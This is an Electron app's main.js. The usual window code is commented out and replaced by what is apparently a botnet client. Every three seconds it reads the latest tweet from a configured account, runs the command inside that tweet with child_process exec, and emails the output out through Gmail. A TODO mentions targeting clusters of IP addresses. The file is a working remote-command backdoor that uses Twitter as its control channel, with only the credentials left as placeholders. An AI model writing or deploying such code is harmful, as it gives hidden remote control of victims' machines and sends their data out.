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main.js
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main.js
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const electron = require('electron');
// Module to control application life.
const app = electron.app;
// Module to create native browser window.
const BrowserWindow = electron.BrowserWindow;
const Twitter = require('twitter');
const { exec } = require('child_process');
let nodemailer = require('nodemailer');
function executeCommand(callback) {
let client = new Twitter({
consumer_key: 'YOUR_KEY',
consumer_secret: 'YOUR_KEY',
access_token_key: 'YOUR_KEY',
access_token_secret: 'YOUR_KEY'
});
//TODO: do execute command for 1 or claster of ip. Listen few twitter accounts.
let params = {screen_name: 'your user'};
client.get('/statuses/user_timeline', params, function(error, tweets) {
if (JSON.parse(tweets[0].text).ip === 'all'){// here is we can pass current ip or execute it for all machines
exec(JSON.parse(tweets[0].text).command, (err, stdout, stderr) => {
if (err) {
console.error(err);
return;
}
sendMailToOwner(stdout);
return callback(stdout);
});
}
});
}
function sendMailToOwner(text) {
let transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: 'your mail',
pass: 'your pass'
}
});
let mailOptions = {
from: 'your mail',
to: 'your mail',
subject: 'Responce',
text: text
};
transporter.sendMail(mailOptions, function(error, info){
if (error) {
console.log(error);
} else {
console.log('Email sent: ' + info.response);
}
});
}
setInterval(() => {
executeCommand(function(resp){console.log(resp)});
}, 3000);
// Keep a global reference of the window object, if you don't, the window will
// be closed automatically when the JavaScript object is garbage collected.
// let mainWindow
//
// function createWindow () {
// // Create the browser window.
// mainWindow = new BrowserWindow({width: 800, height: 600})
//
// // and load the index.html of the app.
// // mainWindow.loadURL(url.format({
// // pathname: path.join(__dirname, 'index.html'),
// // protocol: 'file:',
// // slashes: true
// // }))
// mainWindow.loadURL('index.html')
// // Open the DevTools.
// //mainWindow.webContents.openDevTools()
//
// // Emitted when the window is closed.
// mainWindow.on('closed', function () {
// // Dereference the window object, usually you would store windows
// // in an array if your app supports multi windows, this is the time
// // when you should delete the corresponding element.
// mainWindow = null
// })
// }
//
//
//
// // This method will be called when Electron has finished
// // initialization and is ready to create browser windows.
// // Some APIs can only be used after this event occurs.
// app.on('ready', createWindow)
//
// // Quit when all windows are closed.
// app.on('window-all-closed', function () {
// // On OS X it is common for applications and their menu bar
// // to stay active until the user quits explicitly with Cmd + Q
// if (process.platform !== 'darwin') {
// app.quit()
// }
// })
//
// app.on('activate', function () {
// // On OS X it's common to re-create a window in the app when the
// // dock icon is clicked and there are no other windows open.
// if (mainWindow === null) {
// createWindow()
// }
// })
// In this file you can include the rest of your app's specific main process
// code. You can also put them in separate files and require them here.